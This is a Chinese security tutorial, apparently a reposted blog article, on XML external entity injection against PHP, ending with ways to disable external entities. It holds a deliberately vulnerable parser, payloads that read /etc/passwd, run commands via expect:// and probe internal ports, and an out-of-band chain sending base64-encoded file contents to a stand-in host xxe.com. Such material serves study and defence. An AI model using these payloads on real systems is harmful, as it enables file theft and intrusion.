XML实体注入漏洞的利用与学习

admin 2021年12月29日06:42:27评论96 views字数 2798阅读9分19秒阅读模式

From:http://uknowsec.cn/posts/notes/XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AD%A6%E4%B9%A0.html


前言

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题.
在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题

漏洞利用

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

测试代码

使用simplexml_load_string函数解析body

<?php

$data = file_get_contents('php://input');

$xml = simplexml_load_string($data);

echo $xml->name;

?>

漏洞测试

漏洞测试方式1

有回显,直接读取文件

Payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<name>&xxe;</name>

</root>

XML实体注入漏洞的利用与学习

漏洞测试方式2

无回显,引用远程服务器上的XML文件读取文件

Payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://xxe.com/1.xml">

%remote;]>

将以下1.xml保存到WEB服务器下
1.xml

<!ENTITY % a SYSTEM "file:///etc/passwd">

<!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c

XML实体注入漏洞的利用与学习

查看服务器access.log,可以看到访问日志

XML实体注入漏洞的利用与学习

漏洞测试方式3

在主机上放一个接收文件的php(get.php):

<?php

file_put_contents('01.txt', $_GET['xxe_local']);

?>
xml内容:

1

2

3

4

5

6

7

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>">

%int;

%trick;

这个XML,他引用了外部实体etc/passwd作为payload的值,然后又将payload拼接到http://xxe.com/get.php?xxe_local=%payload;,进行HTTP请求。

接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。

发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取etc/passwd并进行base64编码后传给get.php,最后保存到主机上

XML实体注入漏洞的利用与学习

查看服务器access.log,可以看到访问日志

XML实体注入漏洞的利用与学习

查看01.txt

XML实体注入漏洞的利用与学习

base64解码

XML实体注入漏洞的利用与学习

XML实体注入漏洞的利用与学习

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

XML实体注入漏洞的利用与学习

XXE 危害

  • 读取任意文件

  • 执行系统命令

  • 探查内网端口

  • 攻击内网网站

读取任意文件

1

2

3

4

5

6

7

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<name>&xxe;</name>

</root>

执行系统命令

在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

1

2

3

4

5

6

7

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "expect://id" >]>

<root>

<name>&xxe;</name>

</root>

探测内网端口

1

2

3

4

5

6

7

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>

<root>

<name>&xxe;</name>

</root>

攻击内网网站

结合其他的漏洞比如:struts2

1

2

3

4

5

6

7

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>

<root>

<name>&xxe;</name>

</root>

防御XXE攻击

方案一、使用开发语言提供的禁用外部实体的方法

1

2

3

4

5

6

7

8

9

10

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。.

Reference

https://security.tencent.com/index.php/blog/msg/69
https://github.com/phith0n/vulhub/tree/master/php_xxe
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-098591.html

本文始发于微信公众号(关注安全技术):XML实体注入漏洞的利用与学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月29日06:42:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XML实体注入漏洞的利用与学习https://cn-sec.com/archives/501865.html

发表评论

匿名网友 填写信息